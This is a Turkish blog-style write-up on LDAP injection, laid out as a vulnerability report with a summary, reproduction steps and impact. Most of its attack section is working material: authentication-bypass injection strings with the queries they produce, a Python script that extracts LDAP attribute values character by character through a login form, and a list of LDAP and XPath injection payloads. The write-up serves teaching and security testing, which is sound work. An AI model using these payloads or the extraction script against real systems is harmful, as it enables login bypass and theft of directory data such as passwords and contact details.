LDAP Enjeksiyonu

May 03 2023
Uygulamayı LDAP Enjeksiyon Saldırılarına Açık Bırakan Kritik Bir Güvenlik Kusuru
Özet: Bu güvenlik açığı, veri sızıntısına, yetkisiz erişime ve diğer önemli güvenlik sorunlarına neden olma potansiyeline sahiptir. Kullanıcı verilerini ve sistem bütünlüğünü korumak için, bu soruna derhal dikkat edilmesini ve çözülmesini kesinlikle tavsiye ederiz.
Yazar tarafından tasarlandı

Özet:

Bu güvenlik açığı, veri sızıntısına, yetkisiz erişime ve diğer önemli güvenlik sorunlarına neden olma potansiyeline sahiptir. Kullanıcı verilerini ve sistem bütünlüğünü korumak için, bu soruna derhal dikkat edilmesini ve çözülmesini kesinlikle tavsiye ederiz.

Güvenlik Açığı Ayrıntıları:

LDAP (Hafif Dizin Erişim Protokolü) enjeksiyonu, güvenilir olmayan kullanıcı girişi uygun temizleme veya doğrulama olmadan doğrudan bir LDAP sorgusuna dahil edildiğinde ortaya çıkan bir kod enjeksiyon tekniğidir.

Hedef uygulama, kullanıcı tarafından sağlanan girişi yeterince doğrulayamadı ve bu da potansiyel bir LDAP enjeksiyon güvenlik açığına yol açtı.

Saldırgan bu zayıflığı LDAP sorgularını değiştirmek, kimlik doğrulama kontrollerinden kaçmak, gizli verilere yetkisiz erişim elde etmek veya zararlı eylemler gerçekleştirmek için kullanabilir.

Etkilenen Bileşen:

LDAP enjeksiyon güvenlik açığı, web uygulamasının kimlik doğrulama modülünü, özellikle kullanıcı kimlik bilgilerini işlemekten ve bir LDAP sunucusuna karşı kimlik doğrulamasından sorumlu kodu etkiler.

Çoğaltma Adımları:

  1. Uygulama içinde LDAP sorgularıyla etkileşime giren bir alan tanımlayın.
  2. Parantezler, yıldız işaretleri veya ters eğik çizgiler gibi LDAP meta karakterlerini içeren kötü amaçlı bir girdi oluşturun.
  3. Girdiyi gönderin ve uygulamadan gelen yanıtı gözlemleyin.
  4. Beklenmeyen davranışları, hata mesajlarını veya olağan dışı veri alımını not edin.
  1. Uygulama, bir kullanıcının kullanıcı adı ve şifresini kullanarak oturum açmasına izin verir.
  2. Uygulama, uygun giriş doğrulaması olmadan sağlanan kullanıcı adını kullanarak bir LDAP sorgusu oluşturur.
  3. Saldırgan, kullanıcı adı alanına şu girişi sağlar: ")(cn=))(|(uid=))(|(objectClass=*")
  4. Ortaya çıkan LDAP sorgusu şu hale gelir: "(&(cn=))(|(uid=))(|(objectClass=*))(userpassword=[sağlanan parola])"
  5. Saldırgan, yetkisiz erişim elde eder ve potansiyel olarak hassas bilgileri alır veya başka kötü amaçlı eylemler gerçekleştirir.

user=*
password=*
--> (&(user=*)(password=*))
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

LDAP nesneleri, varsayılan olarak verileri korumak için kullanılabilecek çeşitli özellikler sağlar. Bu bilgiyi almak için hepsini kaba kuvvetle zorlamayı deneyebilirsiniz. Burada varsayılan LDAP özniteliklerinin bir listesi bulunmaktadır .

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
    value = ""
    finish = False
    while not finish:
        for char in alphabet: #In each possition test each possible printable char
            query = f"*)({attribute}={value}{char}*"
            data = {'login':query, 'password':'bla'}
            r = requests.post(url, data=data, proxies=proxy)
            sys.stdout.write(f"\r{attribute}: {value}{char}")
            #sleep(0.5) #Avoid brute-force bans
            if "Cannot login" in r.text:
                value += str(char)
                break

            if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
                finish = True
                print()

*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y

Darbe:

Bir saldırgan, bir LDAP sorgusunun biçimini değiştirmek ve istediği herhangi bir LDAP komutunu vermek için bu kusuru kullanabilir.

Sonuçlar, LDAP hizmet hesabına bağlı haklara bağlı olarak özel verilere yetkisiz erişim, veri manipülasyonu ve hatta uzaktan kod yürütmeyi içerebilir.

Bu güvenlik açığından etkili bir şekilde yararlanılırsa, hedef uygulamanın güvenliği ve gizliliği ciddi şekilde tehlikeye girebilir.

twitter